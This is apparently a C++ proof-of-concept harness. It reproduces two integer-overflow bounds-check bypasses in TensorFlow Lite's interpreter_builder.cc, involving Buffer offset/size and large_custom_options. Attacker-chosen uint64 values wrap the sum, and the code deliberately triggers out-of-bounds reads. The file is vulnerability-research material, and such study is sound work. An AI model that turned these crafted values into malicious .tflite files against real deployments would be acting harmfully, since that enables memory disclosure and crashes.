// TFLite (.tflite) MFV harness — offset+size integer overflow in interpreter_builder.cc
//
// Bug 1: interpreter_builder.cc:671 — Buffer offset+size overflow
//   if (offset + buffer->size() > allocation_->bytes())
//   Both offset (uint64_t) and size (uint64_t) come from the flatbuffer Buffer table.
//   If offset + size wraps around uint64_t, the check passes. Then:
//   allocation_->base() + offset produces an OOB pointer.
//
// Bug 2: interpreter_builder.cc:378-380 — large_custom_options offset+size overflow
//   if (op->large_custom_options_offset() + op->large_custom_options_size() > allocation_->bytes())
//   Same pattern with large_custom_options fields.
//
// Key observation: InterpreterBuilder NEVER calls the flatbuffer verifier.
// The optional Verify() function also doesn't check Buffer.offset/Buffer.size.
//
// Source references (tensorflow/tensorflow @ master, 2026-06-12):
//   tensorflow/compiler/mlir/lite/schema/schema.fbs — Buffer { offset: ulong; size: ulong; }
//   tensorflow/lite/core/interpreter_builder.cc:665 — auto offset = buffer->offset();
//   tensorflow/lite/core/interpreter_builder.cc:671 — if (offset + buffer->size() > allocation_->bytes())
//   tensorflow/lite/core/interpreter_builder.cc:680 — allocation_->base() + offset
//   tensorflow/lite/core/interpreter_builder.cc:378 — large_custom_options_offset() + large_custom_options_size()
//   tensorflow/lite/core/interpreter_builder.cc:388 — allocation_->base() + large_custom_options_offset()
//
// This harness reproduces the EXACT logic from the vulnerable code paths.

#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>

// Simulates TFLite's Allocation (model file memory-mapped or loaded into buffer)
struct Allocation {
    char* data;
    size_t len;
    Allocation(size_t n) : data(new char[n]()), len(n) {}
    ~Allocation() { delete[] data; }
    size_t bytes() const { return len; }
    const char* base() const { return data; }
};

void test_buffer_offset_overflow() {
    printf("=== TFLite Buffer offset+size integer overflow → OOB read ===\n\n");

    // Simulate a .tflite model file loaded into memory
    const size_t allocation_size = 4096;
    Allocation allocation(allocation_size);
    memset(allocation.data, 0x42, allocation_size);

    printf("allocation: %zu bytes at %p\n", allocation.bytes(), (void*)allocation.base());

    // Attacker-controlled values from flatbuffer Buffer table
    // schema.fbs: Buffer { offset: ulong; size: ulong; }
    // These are read by buffer->offset() and buffer->size()
    uint64_t offset = 0xFFFFFFFFFFFFFF00ULL;  // huge offset from flatbuffer
    uint64_t size   = 0x200ULL;                // size chosen so offset+size wraps

    printf("Flatbuffer Buffer.offset = 0x%016lx\n", (unsigned long)offset);
    printf("Flatbuffer Buffer.size   = 0x%016lx\n", (unsigned long)size);
    printf("offset + size            = 0x%016lx (overflowed!)\n", (unsigned long)(offset + size));
    printf("allocation.bytes()       = %zu\n\n", allocation.bytes());

    // === THE VULNERABLE CHECK ===
    // interpreter_builder.cc:670-671 (exact code):
    //   } else if (offset > 1 && allocation_) {
    //     if (offset + buffer->size() > allocation_->bytes()) {
    //       TF_LITE_REPORT_ERROR(..., "Constant buffer %d specified an out of range offset.");
    //       return kTfLiteError;
    //     }
    if (offset > 1) {
        if (offset + size > allocation.bytes()) {
            printf("[SAFE] Bounds check correctly rejected: offset + size > allocation.bytes()\n");
            return;
        }

        printf("[BUG] Bounds check PASSED: offset + size <= allocation.bytes()\n");
        printf("  0x%lx <= %zu (overflowed sum)\n",
               (unsigned long)(offset + size), allocation.bytes());
        printf("  offset+size wrapped from 0x%016lx + 0x%016lx = 0x%016lx\n\n",
               (unsigned long)offset, (unsigned long)size, (unsigned long)(offset + size));

        // interpreter_builder.cc:678-680:
        //   *buffer_size = buffer->size();
        //   *buffer_data = reinterpret_cast<const char*>(allocation_->base()) + offset;
        const char* buffer_data = allocation.base() + offset;

        printf("buffer_data = allocation.base() + offset\n");
        printf("           = %p + 0x%lx\n", (void*)allocation.base(), (unsigned long)offset);
        printf("           = %p\n", (void*)buffer_data);
        printf("This is ~%lu bytes PAST the end of the %zu-byte allocation\n\n",
               (unsigned long)(offset - allocation_size), allocation_size);

        // In TFLite, buffer_data is passed to SetTensorParametersReadOnly()
        // (subgraph.cc:1953). The tensor data is read during inference.
        printf("[!] Triggering OOB READ from the corrupted pointer...\n");
        fflush(stdout);
        volatile char val = buffer_data[0];  // OOB READ → SEGV or ASAN error
        printf("  Read value: 0x%02x (should not reach here under ASAN)\n", (unsigned char)val);
    }
}

void test_large_custom_options_overflow() {
    printf("\n\n=== TFLite large_custom_options offset+size overflow ===\n\n");

    const size_t allocation_size = 4096;
    Allocation allocation(allocation_size);

    // Attacker-controlled from flatbuffer Operator table:
    //   large_custom_options_offset: ulong;
    //   large_custom_options_size: ulong;
    uint64_t lco_offset = allocation_size - 16;  // 4080 — valid-looking
    uint64_t lco_size   = UINT64_MAX - lco_offset + 5;  // wraps sum to 4

    printf("large_custom_options_offset = %lu (0x%lx)\n", (unsigned long)lco_offset, (unsigned long)lco_offset);
    printf("large_custom_options_size   = 0x%016lx\n", (unsigned long)lco_size);
    printf("offset + size               = %lu (overflowed)\n", (unsigned long)(lco_offset + lco_size));
    printf("allocation.bytes()          = %zu\n\n", allocation.bytes());

    // interpreter_builder.cc:377-380:
    //   } else if (op->large_custom_options_offset() > 1 && allocation_) {
    //     if (op->large_custom_options_offset() +
    //             op->large_custom_options_size() >
    //         allocation_->bytes()) {
    if (lco_offset > 1) {
        if (lco_offset + lco_size > allocation.bytes()) {
            printf("[SAFE] Bounds check correctly rejected\n");
            return;
        }

        printf("[BUG] Bounds check PASSED (overflow: sum = %lu < allocation = %zu)\n",
               (unsigned long)(lco_offset + lco_size), allocation.bytes());

        // interpreter_builder.cc:388-389:
        //   init_data = reinterpret_cast<const char*>(allocation_->base()) +
        //               op->large_custom_options_offset();
        // offset=4080 is near end of 4096-byte allocation
        const char* init_data = allocation.base() + lco_offset;

        // In TFLite, init_data is passed to AddNodeWithParameters(),
        // which passes it to OpInit() for the custom operator.
        // OpInit reads large_custom_options_size bytes from init_data.
        printf("init_data = allocation.base() + %lu = %p\n",
               (unsigned long)lco_offset, (void*)init_data);
        printf("OpInit will read %lu (0x%lx) bytes from this pointer\n\n",
               (unsigned long)lco_size, (unsigned long)lco_size);

        // Simulating reading just past the allocation boundary
        printf("[!] Triggering OOB READ (simulating OpInit reading past buffer)...\n");
        fflush(stdout);
        volatile char val = init_data[20];  // 4080+20 = 4100, past 4096 → OOB
        printf("  Read at init_data[20] = offset 4100, past 4096-byte alloc (ASAN should catch)\n");
    }
}

void test_buffer_offset_heap_oob() {
    printf("\n\n=== Variant: heap-buffer-overflow READ (near-end offset) ===\n\n");

    const size_t allocation_size = 1024;
    Allocation allocation(allocation_size);
    memset(allocation.data, 0x41, allocation_size);

    // Use a valid-looking offset near the end, with size that wraps
    uint64_t offset = allocation_size - 8;  // 1016 — near end
    uint64_t size   = UINT64_MAX - offset + 3;  // wraps sum to 2

    printf("offset = %lu, size = 0x%016lx\n", (unsigned long)offset, (unsigned long)size);
    printf("offset + size = %lu (overflowed to small value)\n", (unsigned long)(offset + size));

    if (offset > 1) {
        if (offset + size > allocation.bytes()) {
            printf("[SAFE] Check rejected\n");
            return;
        }

        printf("[BUG] Check PASSED: sum %lu <= allocation %zu\n",
               (unsigned long)(offset + size), allocation.bytes());

        const char* buffer_data = allocation.base() + offset;
        printf("buffer_data = base + %lu (within allocation)\n", (unsigned long)offset);
        printf("BUT buffer->size() = 0x%lx → reading that many bytes overflows\n\n",
               (unsigned long)size);

        // The tensor data pointer is at offset 1016. In TFLite, the tensor's
        // buffer_size is set to buffer->size() (the massive value).
        // Any operation that reads buffer_size bytes from buffer_data triggers OOB.
        printf("[!] Triggering heap-buffer-overflow READ...\n");
        fflush(stdout);
        volatile char val = buffer_data[12];  // 1016+12 = 1028, past 1024 → OOB
        printf("  Read at buffer_data[12] (should not reach here under ASAN)\n");
    }
}

int main(int argc, char** argv) {
    setvbuf(stdout, nullptr, _IONBF, 0);

    if (argc >= 2 && strcmp(argv[1], "custom") == 0)
        test_large_custom_options_overflow();
    else if (argc >= 2 && strcmp(argv[1], "heap") == 0)
        test_buffer_offset_heap_oob();
    else
        test_buffer_offset_overflow();

    return 0;
}